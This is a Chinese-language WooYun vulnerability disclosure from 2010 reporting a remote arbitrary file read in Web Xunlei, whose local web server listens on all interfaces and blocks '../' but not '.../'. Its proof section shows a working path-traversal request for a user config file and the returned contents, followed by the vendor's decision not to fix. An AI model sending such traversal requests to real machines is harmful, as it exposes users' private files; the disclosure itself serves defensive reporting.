当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2010-0868

漏洞标题：web迅雷远程任意文件读取漏洞

相关厂商：迅雷

漏洞作者： 路人甲

提交时间：2010-11-23 17:08

修复时间：2010-12-23 18:00

公开时间：2010-12-23 18:00

漏洞类型：设计错误/逻辑缺陷

危害等级：中

自评Rank：10

漏洞状态：厂商已经确认

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2010-11-23： 细节已通知厂商并且等待厂商处理中
2010-11-23： 厂商已经确认，细节仅向厂商公开
2010-11-26： 细节向第三方安全合作伙伴开放
2011-01-17： 细节向核心白帽子及相关领域专家公开
2011-01-27： 细节向普通白帽子公开
2011-02-06： 细节向实习白帽子公开
2010-12-23： 细节向公众公开

简要描述：

web迅雷在设计上和实现上存在问题，导致恶意攻击者可以读取安装有web迅雷的用户机器上的任意文件

详细说明：

web迅雷在本机存在有一webserver，并且绑定在0.0.0.0上，同时对于web请求处理并不恰当，存在安全缺陷导致恶意攻击者可以构造请求读取用户机器上的任意文件。
对于../跳目录的情况有处理，但是对于.../却可以绕过（某大师牛逼的分析思路，用file mon黑盒分析，赞！）

漏洞证明：


GET /.../Profiles/UserConfig.ini HTTP/1.1
HTTP/1.0 200 OK
Server: Xunlei Http Server/1.0
Date: Tue, 23 Nov 2010 09:02:07 GMT
Content-type: *
Content-length: 407
Last-Modified: Tue, 23 Nov 2010 08:43:15 GMT
[Skin]
CurrSkin=default.rar
SkinNames=default.rar
[Monitor]
ExtendNames=.asf;.avi;.exe;.iso;.mp3;.mpeg;.mpg;.mpga;.ra;.rar;.rm;.rmvb;.tar;.w
ma;.wmp;.wmv;.zip;.torrent;
FilterSitesMax=20
[EMuleGenericSettings]
EMuleWatchLink=1
[Update]
RunUpdate=0
[General]
TaskShowPerPage=11
[Antivirus]
Protect=0
FilePath=
Parameter=
[BHOSection]
StatsDay=2
[SavePath]
SetFolderIcon=1
Path=C:\Xunlei\
发送 43, r接受 579: 无sock
C:\Documents and Settings\Administrator>


修复方案：

恩哼

版权声明：转载请注明来源 路人甲@乌云

漏洞回应

厂商回应：

危害等级：中

漏洞Rank：8

确认时间：2010-11-23 21:38

厂商回复：

某大牛很早之前就联系过我们关于这个漏洞。但由于该项目很久就没有再维护更新了，所以没有修复。还是非常感谢。

最新状态：

2010-11-24：建议公司修复。

2010-11-27：考虑到该项目已经停止更新很久了，而且使用的人很少并且越来越少，所以不打算修复此漏洞。

漏洞评价：

评论